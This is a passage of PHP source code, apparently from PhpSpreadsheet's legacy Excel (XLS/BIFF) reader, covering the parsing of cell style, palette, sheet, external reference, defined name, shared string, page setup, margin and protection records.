$objStyle->getBorders()->getBottom()->colorIndex = (0x00003F80 & self::getInt4d($recordData, 14)) >> 7; // bit: 20-14; mask: 0x001FC000; diagonal color $objStyle->getBorders()->getDiagonal()->colorIndex = (0x001FC000 & self::getInt4d($recordData, 14)) >> 14; // bit: 24-21; mask: 0x01E00000; diagonal style if ($bordersDiagonalStyle = Xls\Style\Border::lookup((0x01E00000 & self::getInt4d($recordData, 14)) >> 21)) { $objStyle->getBorders()->getDiagonal()->setBorderStyle($bordersDiagonalStyle); } // bit: 31-26; mask: 0xFC000000 fill pattern if ($fillType = FillPattern::lookup((self::FC000000 & self::getInt4d($recordData, 14)) >> 26)) { $objStyle->getFill()->setFillType($fillType); } // offset: 18; size: 2; pattern and background colour // bit: 6-0; mask: 0x007F; color index for pattern color $objStyle->getFill()->startcolorIndex = (0x007F & self::getUInt2d($recordData, 18)) >> 0; // bit: 13-7; mask: 0x3F80; color index for pattern background $objStyle->getFill()->endcolorIndex = (0x3F80 & self::getUInt2d($recordData, 18)) >> 7; } else { // BIFF5 // offset: 7; size: 1; Text orientation and flags $orientationAndFlags = ord($recordData[7]); // bit: 1-0; mask: 0x03; XF_ORIENTATION: Text orientation $xfOrientation = (0x03 & $orientationAndFlags) >> 0; switch ($xfOrientation) { case 0: $objStyle->getAlignment()->setTextRotation(0); break; case 1: $objStyle->getAlignment()->setTextRotation(Alignment::TEXTROTATION_STACK_PHPSPREADSHEET); break; case 2: $objStyle->getAlignment()->setTextRotation(90); break; case 3: $objStyle->getAlignment()->setTextRotation(-90); break; } // offset: 8; size: 4; cell border lines and background area $borderAndBackground = self::getInt4d($recordData, 8); // bit: 6-0; mask: 0x0000007F; color index for pattern color $objStyle->getFill()->startcolorIndex = (0x0000007F & $borderAndBackground) >> 0; // bit: 13-7; mask: 0x00003F80; color index for pattern background $objStyle->getFill()->endcolorIndex = (0x00003F80 & $borderAndBackground) >> 7; // bit: 21-16; mask: 0x003F0000; fill pattern $objStyle->getFill()->setFillType(FillPattern::lookup((0x003F0000 & $borderAndBackground) >> 16)); // bit: 24-22; mask: 0x01C00000; bottom line style $objStyle->getBorders()->getBottom()->setBorderStyle(Xls\Style\Border::lookup((0x01C00000 & $borderAndBackground) >> 22)); // bit: 31-25; mask: 0xFE000000; bottom line color $objStyle->getBorders()->getBottom()->colorIndex = (self::FE000000 & $borderAndBackground) >> 25; // offset: 12; size: 4; cell border lines $borderLines = self::getInt4d($recordData, 12); // bit: 2-0; mask: 0x00000007; top line style $objStyle->getBorders()->getTop()->setBorderStyle(Xls\Style\Border::lookup((0x00000007 & $borderLines) >> 0)); // bit: 5-3; mask: 0x00000038; left line style $objStyle->getBorders()->getLeft()->setBorderStyle(Xls\Style\Border::lookup((0x00000038 & $borderLines) >> 3)); // bit: 8-6; mask: 0x000001C0; right line style $objStyle->getBorders()->getRight()->setBorderStyle(Xls\Style\Border::lookup((0x000001C0 & $borderLines) >> 6)); // bit: 15-9; mask: 0x0000FE00; top line color index $objStyle->getBorders()->getTop()->colorIndex = (0x0000FE00 & $borderLines) >> 9; // bit: 22-16; mask: 0x007F0000; left line color index $objStyle->getBorders()->getLeft()->colorIndex = (0x007F0000 & $borderLines) >> 16; // bit: 29-23; mask: 0x3F800000; right line color index $objStyle->getBorders()->getRight()->colorIndex = (0x3F800000 & $borderLines) >> 23; } // add cellStyleXf or cellXf and update mapping if ($isCellStyleXf) { // we only read one style XF record which is always the first if ($this->xfIndex == 0) { $this->spreadsheet->addCellStyleXf($objStyle); $this->mapCellStyleXfIndex[$this->xfIndex] = 0; } } else { // we read all cell XF records $this->spreadsheet->addCellXf($objStyle); $this->mapCellXfIndex[$this->xfIndex] = count($this->spreadsheet->getCellXfCollection()) - 1; } // update XF index for when we read next record ++$this->xfIndex; } } private function readXfExt(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; 0x087D = repeated header // offset: 2; size: 2 // offset: 4; size: 8; not used // offset: 12; size: 2; record version // offset: 14; size: 2; index to XF record which this record modifies $ixfe = self::getUInt2d($recordData, 14); // offset: 16; size: 2; not used // offset: 18; size: 2; number of extension properties that follow //$cexts = self::getUInt2d($recordData, 18); // start reading the actual extension data $offset = 20; while ($offset < $length) { // extension type $extType = self::getUInt2d($recordData, $offset); // extension length $cb = self::getUInt2d($recordData, $offset + 2); // extension data $extData = substr($recordData, $offset + 4, $cb); switch ($extType) { case 4: // fill start color $xclfType = self::getUInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue[0]), ord($xclrValue[1]), ord($xclrValue[2])); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $fill = $this->spreadsheet->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getFill(); $fill->getStartColor()->setRGB($rgb); $fill->startcolorIndex = null; // normal color index does not apply, discard } } break; case 5: // fill end color $xclfType = self::getUInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue[0]), ord($xclrValue[1]), ord($xclrValue[2])); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $fill = $this->spreadsheet->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getFill(); $fill->getEndColor()->setRGB($rgb); $fill->endcolorIndex = null; // normal color index does not apply, discard } } break; case 7: // border color top $xclfType = self::getUInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue[0]), ord($xclrValue[1]), ord($xclrValue[2])); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $top = $this->spreadsheet->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getTop(); $top->getColor()->setRGB($rgb); $top->colorIndex = null; // normal color index does not apply, discard } } break; case 8: // border color bottom $xclfType = self::getUInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue[0]), ord($xclrValue[1]), ord($xclrValue[2])); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $bottom = $this->spreadsheet->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getBottom(); $bottom->getColor()->setRGB($rgb); $bottom->colorIndex = null; // normal color index does not apply, discard } } break; case 9: // border color left $xclfType = self::getUInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue[0]), ord($xclrValue[1]), ord($xclrValue[2])); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $left = $this->spreadsheet->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getLeft(); $left->getColor()->setRGB($rgb); $left->colorIndex = null; // normal color index does not apply, discard } } break; case 10: // border color right $xclfType = self::getUInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue[0]), ord($xclrValue[1]), ord($xclrValue[2])); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $right = $this->spreadsheet->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getRight(); $right->getColor()->setRGB($rgb); $right->colorIndex = null; // normal color index does not apply, discard } } break; case 11: // border color diagonal $xclfType = self::getUInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue[0]), ord($xclrValue[1]), ord($xclrValue[2])); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $diagonal = $this->spreadsheet->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getDiagonal(); $diagonal->getColor()->setRGB($rgb); $diagonal->colorIndex = null; // normal color index does not apply, discard } } break; case 13: // font color $xclfType = self::getUInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue[0]), ord($xclrValue[1]), ord($xclrValue[2])); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $font = $this->spreadsheet->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getFont(); $font->getColor()->setRGB($rgb); $font->colorIndex = null; // normal color index does not apply, discard } } break; } $offset += $cb; } } } /** * Read STYLE record. */ private function readStyle(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; index to XF record and flag for built-in style $ixfe = self::getUInt2d($recordData, 0); // bit: 11-0; mask 0x0FFF; index to XF record //$xfIndex = (0x0FFF & $ixfe) >> 0; // bit: 15; mask 0x8000; 0 = user-defined style, 1 = built-in style $isBuiltIn = (bool) ((0x8000 & $ixfe) >> 15); if ($isBuiltIn) { // offset: 2; size: 1; identifier for built-in style $builtInId = ord($recordData[2]); switch ($builtInId) { case 0x00: // currently, we are not using this for anything break; default: break; } } // user-defined; not supported by PhpSpreadsheet } } /** * Read PALETTE record. */ private function readPalette(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; number of following colors $nm = self::getUInt2d($recordData, 0); // list of RGB colors for ($i = 0; $i < $nm; ++$i) { $rgb = substr($recordData, 2 + 4 * $i, 4); $this->palette[] = self::readRGB($rgb); } } } /** * SHEET. * * This record is located in the Workbook Globals * Substream and represents a sheet inside the workbook. * One SHEET record is written for each sheet. It stores the * sheet name and a stream offset to the BOF record of the * respective Sheet Substream within the Workbook Stream. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readSheet(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // offset: 0; size: 4; absolute stream position of the BOF record of the sheet // NOTE: not encrypted $rec_offset = self::getInt4d($this->data, $this->pos + 4); // move stream pointer to next record $this->pos += 4 + $length; // offset: 4; size: 1; sheet state $sheetState = match (ord($recordData[4])) { 0x00 => Worksheet::SHEETSTATE_VISIBLE, 0x01 => Worksheet::SHEETSTATE_HIDDEN, 0x02 => Worksheet::SHEETSTATE_VERYHIDDEN, default => Worksheet::SHEETSTATE_VISIBLE, }; // offset: 5; size: 1; sheet type $sheetType = ord($recordData[5]); // offset: 6; size: var; sheet name $rec_name = null; if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringShort(substr($recordData, 6)); $rec_name = $string['value']; } elseif ($this->version == self::XLS_BIFF7) { $string = $this->readByteStringShort(substr($recordData, 6)); $rec_name = $string['value']; } $this->sheets[] = [ 'name' => $rec_name, 'offset' => $rec_offset, 'sheetState' => $sheetState, 'sheetType' => $sheetType, ]; } /** * Read EXTERNALBOOK record. */ private function readExternalBook(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset within record data $offset = 0; // there are 4 types of records if (strlen($recordData) > 4) { // external reference // offset: 0; size: 2; number of sheet names ($nm) $nm = self::getUInt2d($recordData, 0); $offset += 2; // offset: 2; size: var; encoded URL without sheet name (Unicode string, 16-bit length) $encodedUrlString = self::readUnicodeStringLong(substr($recordData, 2)); $offset += $encodedUrlString['size']; // offset: var; size: var; list of $nm sheet names (Unicode strings, 16-bit length) $externalSheetNames = []; for ($i = 0; $i < $nm; ++$i) { $externalSheetNameString = self::readUnicodeStringLong(substr($recordData, $offset)); $externalSheetNames[] = $externalSheetNameString['value']; $offset += $externalSheetNameString['size']; } // store the record data $this->externalBooks[] = [ 'type' => 'external', 'encodedUrl' => $encodedUrlString['value'], 'externalSheetNames' => $externalSheetNames, ]; } elseif (substr($recordData, 2, 2) == pack('CC', 0x01, 0x04)) { // internal reference // offset: 0; size: 2; number of sheet in this document // offset: 2; size: 2; 0x01 0x04 $this->externalBooks[] = [ 'type' => 'internal', ]; } elseif (substr($recordData, 0, 4) == pack('vCC', 0x0001, 0x01, 0x3A)) { // add-in function // offset: 0; size: 2; 0x0001 $this->externalBooks[] = [ 'type' => 'addInFunction', ]; } elseif (substr($recordData, 0, 2) == pack('v', 0x0000)) { // DDE links, OLE links // offset: 0; size: 2; 0x0000 // offset: 2; size: var; encoded source document name $this->externalBooks[] = [ 'type' => 'DDEorOLE', ]; } } /** * Read EXTERNNAME record. */ private function readExternName(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // external sheet references provided for named cells if ($this->version == self::XLS_BIFF8) { // offset: 0; size: 2; options //$options = self::getUInt2d($recordData, 0); // offset: 2; size: 2; // offset: 4; size: 2; not used // offset: 6; size: var $nameString = self::readUnicodeStringShort(substr($recordData, 6)); // offset: var; size: var; formula data $offset = 6 + $nameString['size']; $formula = $this->getFormulaFromStructure(substr($recordData, $offset)); $this->externalNames[] = [ 'name' => $nameString['value'], 'formula' => $formula, ]; } } /** * Read EXTERNSHEET record. */ private function readExternSheet(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // external sheet references provided for named cells if ($this->version == self::XLS_BIFF8) { // offset: 0; size: 2; number of following ref structures $nm = self::getUInt2d($recordData, 0); for ($i = 0; $i < $nm; ++$i) { $this->ref[] = [ // offset: 2 + 6 * $i; index to EXTERNALBOOK record 'externalBookIndex' => self::getUInt2d($recordData, 2 + 6 * $i), // offset: 4 + 6 * $i; index to first sheet in EXTERNALBOOK record 'firstSheetIndex' => self::getUInt2d($recordData, 4 + 6 * $i), // offset: 6 + 6 * $i; index to last sheet in EXTERNALBOOK record 'lastSheetIndex' => self::getUInt2d($recordData, 6 + 6 * $i), ]; } } } /** * DEFINEDNAME. * * This record is part of a Link Table. It contains the name * and the token array of an internal defined name. Token * arrays of defined names contain tokens with aberrant * token classes. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readDefinedName(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8) { // retrieves named cells // offset: 0; size: 2; option flags $opts = self::getUInt2d($recordData, 0); // bit: 5; mask: 0x0020; 0 = user-defined name, 1 = built-in-name $isBuiltInName = (0x0020 & $opts) >> 5; // offset: 2; size: 1; keyboard shortcut // offset: 3; size: 1; length of the name (character count) $nlen = ord($recordData[3]); // offset: 4; size: 2; size of the formula data (it can happen that this is zero) // note: there can also be additional data, this is not included in $flen $flen = self::getUInt2d($recordData, 4); // offset: 8; size: 2; 0=Global name, otherwise index to sheet (1-based) $scope = self::getUInt2d($recordData, 8); // offset: 14; size: var; Name (Unicode string without length field) $string = self::readUnicodeString(substr($recordData, 14), $nlen); // offset: var; size: $flen; formula data $offset = 14 + $string['size']; $formulaStructure = pack('v', $flen) . substr($recordData, $offset); try { $formula = $this->getFormulaFromStructure($formulaStructure); } catch (PhpSpreadsheetException) { $formula = ''; $isBuiltInName = 0; } $this->definedname[] = [ 'isBuiltInName' => $isBuiltInName, 'name' => $string['value'], 'formula' => $formula, 'scope' => $scope, ]; } } /** * Read MSODRAWINGGROUP record. */ private function readMsoDrawingGroup(): void { //$length = self::getUInt2d($this->data, $this->pos + 2); // get spliced record data $splicedRecordData = $this->getSplicedRecordData(); $recordData = $splicedRecordData['recordData']; $this->drawingGroupData .= $recordData; } /** * SST - Shared String Table. * * This record contains a list of all strings used anywhere * in the workbook. Each string occurs only once. The * workbook uses indexes into the list to reference the * strings. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readSst(): void { // offset within (spliced) record data $pos = 0; // Limit global SST position, further control for bad SST Length in BIFF8 data $limitposSST = 0; // get spliced record data $splicedRecordData = $this->getSplicedRecordData(); $recordData = $splicedRecordData['recordData']; $spliceOffsets = $splicedRecordData['spliceOffsets']; // offset: 0; size: 4; total number of strings in the workbook $pos += 4; // offset: 4; size: 4; number of following strings ($nm) $nm = self::getInt4d($recordData, 4); $pos += 4; // look up limit position foreach ($spliceOffsets as $spliceOffset) { // it can happen that the string is empty, therefore we need // <= and not just < if ($pos <= $spliceOffset) { $limitposSST = $spliceOffset; } } // loop through the Unicode strings (16-bit length) for ($i = 0; $i < $nm && $pos < $limitposSST; ++$i) { // number of characters in the Unicode string $numChars = self::getUInt2d($recordData, $pos); $pos += 2; // option flags $optionFlags = ord($recordData[$pos]); ++$pos; // bit: 0; mask: 0x01; 0 = compressed; 1 = uncompressed $isCompressed = (($optionFlags & 0x01) == 0); // bit: 2; mask: 0x02; 0 = ordinary; 1 = Asian phonetic $hasAsian = (($optionFlags & 0x04) != 0); // bit: 3; mask: 0x03; 0 = ordinary; 1 = Rich-Text $hasRichText = (($optionFlags & 0x08) != 0); $formattingRuns = 0; if ($hasRichText) { // number of Rich-Text formatting runs $formattingRuns = self::getUInt2d($recordData, $pos); $pos += 2; } $extendedRunLength = 0; if ($hasAsian) { // size of Asian phonetic setting $extendedRunLength = self::getInt4d($recordData, $pos); $pos += 4; } // expected byte length of character array if not split $len = ($isCompressed) ? $numChars : $numChars * 2; // look up limit position - Check it again to be sure that no error occurs when parsing SST structure $limitpos = null; foreach ($spliceOffsets as $spliceOffset) { // it can happen that the string is empty, therefore we need // <= and not just < if ($pos <= $spliceOffset) { $limitpos = $spliceOffset; break; } } if ($pos + $len <= $limitpos) { // character array is not split between records $retstr = substr($recordData, $pos, $len); $pos += $len; } else { // character array is split between records // first part of character array $retstr = substr($recordData, $pos, $limitpos - $pos); $bytesRead = $limitpos - $pos; // remaining characters in Unicode string $charsLeft = $numChars - (($isCompressed) ? $bytesRead : ($bytesRead / 2)); $pos = $limitpos; // keep reading the characters while ($charsLeft > 0) { // look up next limit position, in case the string span more than one continue record foreach ($spliceOffsets as $spliceOffset) { if ($pos < $spliceOffset) { $limitpos = $spliceOffset; break; } } // repeated option flags // OpenOffice.org documentation 5.21 $option = ord($recordData[$pos]); ++$pos; if ($isCompressed && ($option == 0)) { // 1st fragment compressed // this fragment compressed $len = min($charsLeft, $limitpos - $pos); $retstr .= substr($recordData, $pos, $len); $charsLeft -= $len; $isCompressed = true; } elseif (!$isCompressed && ($option != 0)) { // 1st fragment uncompressed // this fragment uncompressed $len = min($charsLeft * 2, $limitpos - $pos); $retstr .= substr($recordData, $pos, $len); $charsLeft -= $len / 2; $isCompressed = false; } elseif (!$isCompressed && ($option == 0)) { // 1st fragment uncompressed // this fragment compressed $len = min($charsLeft, $limitpos - $pos); for ($j = 0; $j < $len; ++$j) { $retstr .= $recordData[$pos + $j] . chr(0); } $charsLeft -= $len; $isCompressed = false; } else { // 1st fragment compressed // this fragment uncompressed $newstr = ''; $jMax = strlen($retstr); for ($j = 0; $j < $jMax; ++$j) { $newstr .= $retstr[$j] . chr(0); } $retstr = $newstr; $len = min($charsLeft * 2, $limitpos - $pos); $retstr .= substr($recordData, $pos, $len); $charsLeft -= $len / 2; $isCompressed = false; } $pos += $len; } } // convert to UTF-8 $retstr = self::encodeUTF16($retstr, $isCompressed); // read additional Rich-Text information, if any $fmtRuns = []; if ($hasRichText) { // list of formatting runs for ($j = 0; $j < $formattingRuns; ++$j) { // first formatted character; zero-based $charPos = self::getUInt2d($recordData, $pos + $j * 4); // index to font record $fontIndex = self::getUInt2d($recordData, $pos + 2 + $j * 4); $fmtRuns[] = [ 'charPos' => $charPos, 'fontIndex' => $fontIndex, ]; } $pos += 4 * $formattingRuns; } // read additional Asian phonetics information, if any if ($hasAsian) { // For Asian phonetic settings, we skip the extended string data $pos += $extendedRunLength; } // store the shared sting $this->sst[] = [ 'value' => $retstr, 'fmtRuns' => $fmtRuns, ]; } // getSplicedRecordData() takes care of moving current position in data stream } /** * Read PRINTGRIDLINES record. */ private function readPrintGridlines(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8 && !$this->readDataOnly) { // offset: 0; size: 2; 0 = do not print sheet grid lines; 1 = print sheet gridlines $printGridlines = (bool) self::getUInt2d($recordData, 0); $this->phpSheet->setPrintGridlines($printGridlines); } } /** * Read DEFAULTROWHEIGHT record. */ private function readDefaultRowHeight(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; option flags // offset: 2; size: 2; default height for unused rows, (twips 1/20 point) $height = self::getUInt2d($recordData, 2); $this->phpSheet->getDefaultRowDimension()->setRowHeight($height / 20); } /** * Read SHEETPR record. */ private function readSheetPr(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2 // bit: 6; mask: 0x0040; 0 = outline buttons above outline group $isSummaryBelow = (0x0040 & self::getUInt2d($recordData, 0)) >> 6; $this->phpSheet->setShowSummaryBelow((bool) $isSummaryBelow); // bit: 7; mask: 0x0080; 0 = outline buttons left of outline group $isSummaryRight = (0x0080 & self::getUInt2d($recordData, 0)) >> 7; $this->phpSheet->setShowSummaryRight((bool) $isSummaryRight); // bit: 8; mask: 0x100; 0 = scale printout in percent, 1 = fit printout to number of pages // this corresponds to radio button setting in page setup dialog in Excel $this->isFitToPages = (bool) ((0x0100 & self::getUInt2d($recordData, 0)) >> 8); } /** * Read HORIZONTALPAGEBREAKS record. */ private function readHorizontalPageBreaks(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8 && !$this->readDataOnly) { // offset: 0; size: 2; number of the following row index structures $nm = self::getUInt2d($recordData, 0); // offset: 2; size: 6 * $nm; list of $nm row index structures for ($i = 0; $i < $nm; ++$i) { $r = self::getUInt2d($recordData, 2 + 6 * $i); $cf = self::getUInt2d($recordData, 2 + 6 * $i + 2); //$cl = self::getUInt2d($recordData, 2 + 6 * $i + 4); // not sure why two column indexes are necessary? $this->phpSheet->setBreak([$cf + 1, $r], Worksheet::BREAK_ROW); } } } /** * Read VERTICALPAGEBREAKS record. */ private function readVerticalPageBreaks(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8 && !$this->readDataOnly) { // offset: 0; size: 2; number of the following column index structures $nm = self::getUInt2d($recordData, 0); // offset: 2; size: 6 * $nm; list of $nm row index structures for ($i = 0; $i < $nm; ++$i) { $c = self::getUInt2d($recordData, 2 + 6 * $i); $rf = self::getUInt2d($recordData, 2 + 6 * $i + 2); //$rl = self::getUInt2d($recordData, 2 + 6 * $i + 4); // not sure why two row indexes are necessary? $this->phpSheet->setBreak([$c + 1, ($rf > 0) ? $rf : 1], Worksheet::BREAK_COLUMN); } } } /** * Read HEADER record. */ private function readHeader(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: var // realized that $recordData can be empty even when record exists if ($recordData) { if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong($recordData); } else { $string = $this->readByteStringShort($recordData); } $this->phpSheet->getHeaderFooter()->setOddHeader($string['value']); $this->phpSheet->getHeaderFooter()->setEvenHeader($string['value']); } } } /** * Read FOOTER record. */ private function readFooter(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: var // realized that $recordData can be empty even when record exists if ($recordData) { if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong($recordData); } else { $string = $this->readByteStringShort($recordData); } $this->phpSheet->getHeaderFooter()->setOddFooter($string['value']); $this->phpSheet->getHeaderFooter()->setEvenFooter($string['value']); } } } /** * Read HCENTER record. */ private function readHcenter(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; 0 = print sheet left aligned, 1 = print sheet centered horizontally $isHorizontalCentered = (bool) self::getUInt2d($recordData, 0); $this->phpSheet->getPageSetup()->setHorizontalCentered($isHorizontalCentered); } } /** * Read VCENTER record. */ private function readVcenter(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; 0 = print sheet aligned at top page border, 1 = print sheet vertically centered $isVerticalCentered = (bool) self::getUInt2d($recordData, 0); $this->phpSheet->getPageSetup()->setVerticalCentered($isVerticalCentered); } } /** * Read LEFTMARGIN record. */ private function readLeftMargin(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8 $this->phpSheet->getPageMargins()->setLeft(self::extractNumber($recordData)); } } /** * Read RIGHTMARGIN record. */ private function readRightMargin(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8 $this->phpSheet->getPageMargins()->setRight(self::extractNumber($recordData)); } } /** * Read TOPMARGIN record. */ private function readTopMargin(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8 $this->phpSheet->getPageMargins()->setTop(self::extractNumber($recordData)); } } /** * Read BOTTOMMARGIN record. */ private function readBottomMargin(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8 $this->phpSheet->getPageMargins()->setBottom(self::extractNumber($recordData)); } } /** * Read PAGESETUP record. */ private function readPageSetup(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; paper size $paperSize = self::getUInt2d($recordData, 0); // offset: 2; size: 2; scaling factor $scale = self::getUInt2d($recordData, 2); // offset: 6; size: 2; fit worksheet width to this number of pages, 0 = use as many as needed $fitToWidth = self::getUInt2d($recordData, 6); // offset: 8; size: 2; fit worksheet height to this number of pages, 0 = use as many as needed $fitToHeight = self::getUInt2d($recordData, 8); // offset: 10; size: 2; option flags // bit: 0; mask: 0x0001; 0=down then over, 1=over then down $isOverThenDown = (0x0001 & self::getUInt2d($recordData, 10)); // bit: 1; mask: 0x0002; 0=landscape, 1=portrait $isPortrait = (0x0002 & self::getUInt2d($recordData, 10)) >> 1; // bit: 2; mask: 0x0004; 1= paper size, scaling factor, paper orient. not init // when this bit is set, do not use flags for those properties $isNotInit = (0x0004 & self::getUInt2d($recordData, 10)) >> 2; if (!$isNotInit) { $this->phpSheet->getPageSetup()->setPaperSize($paperSize); $this->phpSheet->getPageSetup()->setPageOrder(((bool) $isOverThenDown) ? PageSetup::PAGEORDER_OVER_THEN_DOWN : PageSetup::PAGEORDER_DOWN_THEN_OVER); $this->phpSheet->getPageSetup()->setOrientation(((bool) $isPortrait) ? PageSetup::ORIENTATION_PORTRAIT : PageSetup::ORIENTATION_LANDSCAPE); $this->phpSheet->getPageSetup()->setScale($scale, false); $this->phpSheet->getPageSetup()->setFitToPage((bool) $this->isFitToPages); $this->phpSheet->getPageSetup()->setFitToWidth($fitToWidth, false); $this->phpSheet->getPageSetup()->setFitToHeight($fitToHeight, false); } // offset: 16; size: 8; header margin (IEEE 754 floating-point value) $marginHeader = self::extractNumber(substr($recordData, 16, 8)); $this->phpSheet->getPageMargins()->setHeader($marginHeader); // offset: 24; size: 8; footer margin (IEEE 754 floating-point value) $marginFooter = self::extractNumber(substr($recordData, 24, 8)); $this->phpSheet->getPageMargins()->setFooter($marginFooter); } } /** * PROTECT - Sheet protection (BIFF2 through BIFF8) * if this record is omitted, then it also means no sheet protection. */ private function readProtect(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; // bit 0, mask 0x01; 1 = sheet is protected $bool = (0x01 & self::getUInt2d($recordData, 0)) >> 0; $this->phpSheet->getProtection()->setSheet((bool) $bool); } /** * SCENPROTECT. */ private function 